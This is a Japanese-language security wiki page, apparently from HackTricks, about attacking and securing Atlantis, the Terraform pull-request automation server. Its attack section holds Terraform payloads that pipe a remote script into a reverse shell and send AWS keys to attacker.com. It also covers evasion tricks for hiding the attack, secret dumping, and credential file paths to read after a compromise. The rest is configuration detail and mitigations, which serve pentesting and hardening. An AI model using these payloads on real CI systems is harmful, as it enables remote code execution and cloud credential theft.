# Atlantis Security

{{#include ../banners/hacktricks-training.md}}

### 基本情報

Atlantisは基本的に、あなたのgitサーバーからのプルリクエストからterraformを実行するのを助けます。

![](<../images/image (161).png>)

### ローカルラボ

1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)の**atlantisリリースページ**に行き、あなたに合ったものを**ダウンロード**します。
2. **github**ユーザーの**パーソナルトークン**（リポジトリアクセス付き）を作成します。
3. `./atlantis testdrive`を実行すると、**atlantisと対話するために使用できるデモリポジトリ**が作成されます。
1. 127.0.0.1:4141でウェブページにアクセスできます。

### Atlantisアクセス

#### Gitサーバーの資格情報

**Atlantis**は**Github**、**Gitlab**、**Bitbucket**、**Azure DevOps**などの複数のgitホストをサポートしています。\
ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの**特権アクセスが付与される必要があります**（少なくとも書き込み権限）。\
[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用のユーザーをこれらのプラットフォームで作成することを推奨していますが、一部の人は個人アカウントを使用するかもしれません。

> [!WARNING]
> いずれにせよ、攻撃者の視点から見ると、**Atlantisアカウント**は非常に**興味深い****攻撃対象**となるでしょう。

#### Webhook

Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、Gitホストから受信する**webhook**が**正当である**ことを検証します。

これを確認する方法の一つは、**GitホストのIPからのみリクエストを許可する**ことですが、より簡単な方法はWebhookシークレットを使用することです。

プライベートなgithubやbitbucketサーバーを使用しない限り、webhookエンドポイントをインターネットに公開する必要があることに注意してください。

> [!WARNING]
> Atlantisは**webhookを公開**するため、gitサーバーが情報を送信できるようにします。攻撃者の視点からは、**メッセージを送信できるかどうかを知ることが興味深い**でしょう。

#### プロバイダー資格情報 <a href="#provider-credentials" id="provider-credentials"></a>

[ドキュメントから:](https://www.runatlantis.io/docs/provider-credentials.html)

Atlantisは、サーバー**Atlantisがホストされている**上で`terraform plan`および`apply`コマンドを単純に**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。

Atlantisに特定のプロバイダーの資格情報を[提供する方法](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です：

- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。ドキュメントを読んでください。
- クラウドでAtlantisを実行している場合、多くのクラウドには、実行中のアプリケーションにクラウドAPIアクセスを提供する方法があります。例：
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)（"EC2 Role"を検索）
- [GCEインスタンスサービスアカウント](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例：`AWS_ACCESS_KEY`
- 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例：`~/.aws/credentials`
- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)を使用してプロバイダー資格情報を取得します。

> [!WARNING]
> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Githubなど）への**特権資格情報**が含まれている可能性が非常に高いです。

#### ウェブページ

デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページでは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することができます（変更を加えることはできないため、それほど便利ではありません）。

インターネットに公開されていることはないと思いますが、デフォルトでは**アクセスするために資格情報は必要ないようです**（必要な場合は`atlantis`:`atlantis`が**デフォルト**のものです）。

### サーバー構成

`atlantis server`の構成は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの組み合わせを介して指定できます。

- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)をここで見つけることができます。
- [**環境変数に設定オプションを変換する方法**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)をここで見つけることができます。

値は**この順序で選択されます**：

1. フラグ
2. 環境変数
3. 設定ファイル

> [!WARNING]
> 構成の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。

#### リポジトリ構成

いくつかの構成は**リポジトリの管理方法に影響を与えます**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です：

1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはフラグなしではここに指定できません。
1. おそらく`allowed_overrides`や`allow_custom_workflows`のようなフラグによって許可される必要があります。
2. [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)：フラグ`--repo-config`で渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）。
3. **デフォルト**の値

**PR保護**

Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか（ブランチ保護に設定されていなくても）および/または**`マージ可能`**（ブランチ保護が通過した）であることを示すことを許可します**applyを実行する前に**。セキュリティの観点から、両方のオプションを設定することが推奨されます。

`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書きできます**。

**スクリプト**

リポジトリ構成は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)（_プレワークフローフック_）と[**実行した後に**](https://www.runatlantis.io/docs/post-workflow-hooks.html)（_ポストワークフローフック_）を指定できます。

リポジトリの`/atlantis.yml`ファイルでこれらのスクリプトを**指定する**オプションはありません。

**ワークフロー**

リポジトリ構成（サーバーサイド構成）では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**することができます。**また、**どのリポジトリ**が生成された**新しい**ものにアクセスできるかを**指定することもできます。\
その後、各リポジトリの**atlantis.yaml**ファイルが**使用するワークフローを指定する**ことを許可できます。

> [!CAUTION]
> [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルで**指定できます**。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\
> これは基本的に、**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。
>
> ```yaml
> # atlantis.yaml
>
> version: 3
> projects:
>
> - dir: .
>   workflow: custom1
>   workflows:
>   custom1:
>   plan:
>   steps: - init - run: my custom plan command
>   apply:
>   steps: - run: my custom apply command
> ```

**Conftestポリシーチェック**

Atlantisは、**サーバーサイド**で[**conftest**](https://www.conftest.dev/)**ポリシー**をプラン出力に対して実行することをサポートしています。このステップを使用する一般的なユースケースには以下が含まれます：

- モジュールのリストの使用を拒否する
- リソースの作成時に属性を主張する
- 意図しないリソース削除をキャッチする
- セキュリティリスクを防ぐ（例：安全なポートを公開すること）

[**ドキュメント**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)で設定方法を確認できます。

### Atlantisコマンド

[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)には、Atlantisを実行するために使用できるオプションが記載されています：
```bash
# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
```
### 攻撃

> [!WARNING]
> もし攻撃中にこの**エラー**が表示された場合: `Error: Error acquiring the state lock`

次のコマンドを実行することで修正できます:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - 新しいPRでの設定変更

リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis plan`を実行できる場合**（または自動的に実行されるかもしれません）、**Atlantisサーバー内でRCEを実行できるようになります**。

これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実現できます。次のようなペイロードを`main.tf`ファイルに入れるだけです：
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**ステルス攻撃**

この攻撃を**よりステルス的に**実行するには、次の提案に従ってください：

- rev shellをterraformファイルに直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます：
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) で rev shell コードを見つけることができます。

- 外部リソースでは、**ref** 機能を使用して、リポジトリ内の **ブランチにある terraform rev shell コード** を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` のようにします。
- **マスターへの PR を作成する代わりに**、**2つのブランチ**（test1 と test2）を作成し、**一方からもう一方への PR を作成します**。攻撃が完了したら、**PR とブランチを削除します**。

#### Atlantis プラン シークレット ダンプ

`atlantis plan`（`terraform plan`）を実行することで、**terraform に使用されるシークレットをダンプ**できます。terraform ファイルにこのようなものを入れます：
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - 新しいPRでの設定変更

リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEが可能になります**。

ただし、通常はいくつかの保護を回避する必要があります：

- **マージ可能**: この保護がAtlantisに設定されている場合、**PRがマージ可能な場合にのみ`atlantis apply`を実行できます**（これはブランチ保護を回避する必要があることを意味します）。
- 潜在的な[**ブランチ保護の回避**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)を確認してください。
- **承認済み**: この保護がAtlantisに設定されている場合、**他のユーザーがPRを承認する必要があります**。その後、`atlantis apply`を実行できます。
- デフォルトでは、[**Gitbotトークンを使用してこの保護を回避することができます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。

悪意のあるTerraformファイルで**`terraform apply`を実行することができます**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**。**\
`main.tf`ファイルに以下のようなペイロードが含まれていることを確認する必要があります：
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
前の技術からの**提案に従って**、この攻撃を**よりステルス的な方法**で実行します。

#### Terraform パラメータインジェクション

`atlantis plan` または `atlantis apply` を実行すると、terraform が内部で実行されます。atlantis から terraform にコマンドを渡すには、次のようにコメントします:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
環境変数を渡すことができ、いくつかの保護を回避するのに役立つかもしれません。Terraformの環境変数については[https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)を確認してください。

#### カスタムワークフロー

`atlantis.yaml`ファイルに指定された**悪意のあるカスタムビルドコマンド**を実行します。Atlantisはプルリクエストブランチの`atlantis.yaml`ファイルを使用し、**master**のものではありません。\
この可能性は前のセクションで言及されました：

> [!CAUTION]
> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルにワークフローを**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。
>
> これは基本的に**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。
>
> ```yaml
> # atlantis.yaml
> version: 3
> projects:
>   - dir: .
>     workflow: custom1
> workflows:
>   custom1:
>     plan:
>       steps:
>         - init
>         - run: my custom plan command
>     apply:
>       steps:
>         - run: my custom apply command
> ```

#### プラン/適用保護の回避

[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリが**プラン/適用保護を変更して回避する**ことが可能です。
```yaml
repos:
- id: /.*/
apply_requirements: []
```
#### PR ハイジャック

誰かがあなたの有効なプルリクエストに **`atlantis plan/apply`** コメントを送信すると、望まないときに terraform が実行されます。

さらに、**新しいコミットがプッシュ**されたときに **再評価**を求めるように **ブランチ保護**が設定されていない場合、誰かが terraform 設定に **悪意のある設定**を書き込み（前のシナリオを確認）、`atlantis plan/apply` を実行して RCE を獲得する可能性があります。

これが Github ブランチ保護の **設定**です：

![](<../images/image (216).png>)

#### Webhook シークレット

もしあなたが使用されている **Webhook シークレットを盗むことに成功した場合**、または **Webhook シークレットが使用されていない場合**、あなたは **Atlantis Webhook** を呼び出し、**atlatis コマンド**を直接実行することができます。

#### Bitbucket

Bitbucket Cloud は **Webhook シークレットをサポートしていません**。これにより、攻撃者が **Bitbucket からのリクエストを偽装**することが可能になります。Bitbucket の IP のみを許可していることを確認してください。

- これは、**攻撃者**が **Bitbucket から来ているように見える偽のリクエストを Atlantis に送信できることを意味します**。
- `--repo-allowlist` を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでの plan/apply になります。
- これを防ぐために、[Bitbucket の IP アドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください（Outbound IPv4 addresses を参照）。

### ポストエクスプロイテーション

サーバーへのアクセスを取得した場合、または少なくとも LFI を取得した場合、試して読むべき興味深いものがあります：

- `/home/atlantis/.git-credentials` VCS アクセス資格情報を含む
- `/atlantis-data/atlantis.db` より多くの情報を含む VCS アクセス資格情報を含む
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform ステートファイル
- 例: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` 環境変数
- `/proc/[2-20]/cmdline` `atlantis server` のコマンドライン（機密データを含む可能性があります）

### 緩和策

#### 公開リポジトリでの使用は避ける <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>

誰でも公開プルリクエストにコメントできるため、すべてのセキュリティ緩和策が利用可能であっても、適切なセキュリティ設定の構成なしに公開リポジトリで Atlantis を実行することは依然として危険です。

#### `--allow-fork-prs` を使用しない <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>

公開リポジトリで実行している場合（推奨されません、上記を参照）、`--allow-fork-prs` を設定すべきではありません（デフォルトは false）なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。

#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>

Atlantis は、`--repo-allowlist` フラグを介して Webhook を受け入れるリポジトリの許可リストを指定する必要があります。例えば：

- 特定のリポジトリ: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- あなたの組織全体: `--repo-allowlist=github.com/runatlantis/*`
- GitHub Enterprise インストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*`
- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、Webhook シークレットも設定しないと危険です。

このフラグは、あなたの Atlantis インストールがあなたが制御していないリポジトリで使用されていないことを保証します。詳細については `atlantis server --help` を参照してください。

#### Terraform プランニングを保護する <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>

攻撃者が悪意のある Terraform コードを含むプルリクエストを提出することが脅威モデルに含まれている場合、`terraform apply` の承認だけでは不十分であることを認識する必要があります。`terraform plan` で悪意のあるコードを実行することが可能であり、[`external` データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。

これを防ぐために、次のことができます：

1. プロバイダーを Atlantis イメージに組み込むか、ホストして、プロダクションでの出口を拒否します。
2. プロバイダー レジストリ プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、レジストリへの書き込みアクセスを誰が持っているかを制御できます。
3. [サーバー側リポジトリ構成](https://www.runatlantis.io/docs/server-side-repo-config.html)の `plan` ステップを変更して、許可されていないプロバイダーやデータソース、許可されていないユーザーからの PR の使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan` を続行する前に PR に「いいね」を要求することです。Conftest が役立つかもしれません。

#### Webhook シークレット <a href="#webhook-secrets" id="webhook-secrets"></a>

Atlantis は、`$ATLANTIS_GH_WEBHOOK_SECRET` / `$ATLANTIS_GITLAB_WEBHOOK_SECRET` 環境変数を介して Webhook シークレットを設定して実行する必要があります。`--repo-allowlist` フラグが設定されていても、Webhook シークレットがない場合、攻撃者は許可リストにあるリポジトリを装って Atlantis にリクエストを送信することができます。Webhook シークレットは、Webhook リクエストが実際にあなたの VCS プロバイダー（GitHub または GitLab）から来ていることを保証します。

Azure DevOps を使用している場合、Webhook シークレットの代わりに基本的なユーザー名とパスワードを追加してください。

#### Azure DevOps ベーシック認証 <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>

Azure DevOps は、すべての Webhook イベントで基本認証ヘッダーを送信することをサポートしています。これには、Webhook の場所に HTTPS URL を使用する必要があります。

#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>

Webhook シークレットを使用しているが、トラフィックが HTTP 上にある場合、Webhook シークレットが盗まれる可能性があります。`--ssl-cert-file` および `--ssl-key-file` フラグを使用して SSL/HTTPS を有効にしてください。

#### Atlantis Web サーバーでの認証を有効にする <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>

Web サービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true` を使用して BasicAuth を有効にし、`--web-username=yourUsername` および `--web-password=yourPassword` フラグを使用してユーザー名とパスワードを設定します。

これらを環境変数 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` および `ATLANTIS_WEB_PASSWORD=yourPassword` として渡すこともできます。

### 参考文献

- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)

{{#include ../banners/hacktricks-training.md}}
